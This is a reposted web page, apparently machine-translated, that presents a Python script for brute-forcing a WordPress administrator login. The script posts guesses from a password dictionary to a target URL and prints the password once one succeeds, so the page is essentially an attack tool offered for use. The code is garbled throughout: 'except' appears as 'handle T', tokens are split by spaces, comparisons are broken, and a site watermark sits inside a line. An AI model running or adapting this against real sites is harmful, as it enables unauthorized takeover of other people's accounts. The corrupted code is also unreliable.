Wordpress background brute-force cracking (python)

Source: Internet
Author: User

# Coding = UTF-8
 
02 import urllib, time, sys
 
03
 
04 start = time. time ()
 
05 errors = []
 
06 def exploit (url, name, dictionary ):
 
07 for line in open (dictionary ):
 
08 line = line. strip ()
 
09 try:
 
10 data = urllib. urlencode ({'log': name, 'pwd': line, 'redirect _ ':''})
 
11 content = urllib. urlopen (url, data)
 
12 if content. read () = '':
 
13 print "Password is: % s" % line
 
14 print time. time ()-start
 
15 sys. exit ()
 
16 else: www.2cto.com
 
17 print "try % s failed" % line
 
18 handle T IOError:
 
19 errors. append (line)
 
20 print "try % s occurs IOERROR, add to list and retry it later" % line
 
21
 
22 if _ name _ = "_ main __":
 
23 if len (sys. argv) <4:
 
24 print 'usage: Url AdminName Dictionary'
 
25 sys. exit (1)
 
26 exploit (sys. argv [1], sys. argv [2], sys. argv [3])
 
27 while errors:
 
28 for I, line in enumerate (errors ):
 
29 try:
 
30 data = urllib. urlencode ({'log': sys. argv [2], 'pwd': line, 'redirect _ ':''})
 
31 content = urllib. urlopen (sys. argv [1], data)
 
32 if content. read () = '':
 
33 print "Password is: % s" % line
 
34 print time. time ()-start
 
35 sys. exit ()
 
36 else:
 
37 print "try % s failed" % line
 
38 del errors [I]
 
39 handle T IOError:
 
40 errors. append (line)
 
41 print "try % s occurs IOERROR, add to list and retry it later" % line
 
42 print time. time ()-start

From yezi's blog

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.